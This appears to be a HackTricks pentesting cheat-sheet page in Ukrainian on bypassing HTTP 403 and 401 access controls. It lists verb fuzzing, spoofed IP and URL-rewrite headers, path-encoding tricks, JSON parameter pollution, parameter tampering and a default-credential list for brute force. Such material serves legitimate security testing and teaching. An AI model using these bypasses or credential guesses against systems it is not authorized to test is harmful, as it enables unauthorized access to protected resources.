403 & 401 Bypasses

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

HTTP Verbs/Methods Fuzzing

Спробуйте використовувати різні дієслова для доступу до файлу: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Перевірте заголовки відповіді, можливо, можна отримати якусь інформацію. Наприклад, 200 відповідь на HEAD з Content-Length: 55 означає, що дієслово HEAD може отримати інформацію. Але вам все ще потрібно знайти спосіб ексфільтрувати цю інформацію.
  • Використання HTTP заголовка, такого як X-HTTP-Method-Override: PUT, може переписати використане дієслово.
  • Використовуйте TRACE дієслово, і якщо вам пощастить, можливо, у відповіді ви також зможете побачити заголовки, додані проміжними проксі, які можуть бути корисними.

HTTP Headers Fuzzing

  • Змініть заголовок Host на деяке довільне значення (це спрацювало тут)

  • Спробуйте використати інші User Agents для доступу до ресурсу.

  • Fuzz HTTP заголовки: спробуйте використовувати HTTP Proxy заголовки, HTTP Authentication Basic та NTLM brute-force (лише з кількома комбінаціями) та інші техніки. Для цього я створив інструмент fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Якщо шлях захищений, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Якщо сторінка за проксі, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати HTTP Request Smuggling або hop-by-hop заголовками.

  • Fuzz спеціальні HTTP заголовки, шукаючи різні відповіді.

  • Fuzz спеціальні HTTP заголовки під час fuzzing HTTP Methods.

  • Видаліть заголовок Host і, можливо, ви зможете обійти захист.

Path Fuzzing

Якщо /path заблоковано:

  • Спробуйте використовувати /%2e/path (якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також /%252e**/path (подвійне кодування URL)
  • Спробуйте Unicode обхід: /%ef%bc%8fpath (кодування URL символів схоже на "/"), тому, коли його знову закодують, це буде //path і, можливо, ви вже обійшли перевірку назви /path
  • Інші обходи шляху:
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • Використовуйте весь цей список у наступних ситуаціях:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Інші обходи API:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Змініть значення параметра: з id=123 --> id=124
  • Додайте додаткові параметри до URL: ?id=124 —-> id=124&isAdmin=true
  • Видаліть параметри
  • Переставте параметри
  • Використовуйте спеціальні символи.
  • Виконайте граничне тестування параметрів — надайте значення, такі як -234 або 0 або 99999999 (лише кілька прикладів).

Protocol version

Якщо ви використовуєте HTTP/1.1 спробуйте використовувати 1.0 або навіть перевірте, чи підтримує 2.0.

Other Bypasses

  • Отримайте IP або CNAME домену та спробуйте зв'язатися з ним безпосередньо.
  • Спробуйте навантажити сервер, надсилаючи звичайні GET запити (Це спрацювало для цього хлопця з Facebook).
  • Змініть протокол: з http на https, або з https на http
  • Перейдіть до https://archive.org/web/ і перевірте, чи був у минулому цей файл доступний у всьому світі.

Brute Force

  • Вгадайте пароль: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
  • Brute force: спробуйте базову, digest та NTLM аутентифікацію.
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Автоматичні інструменти

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks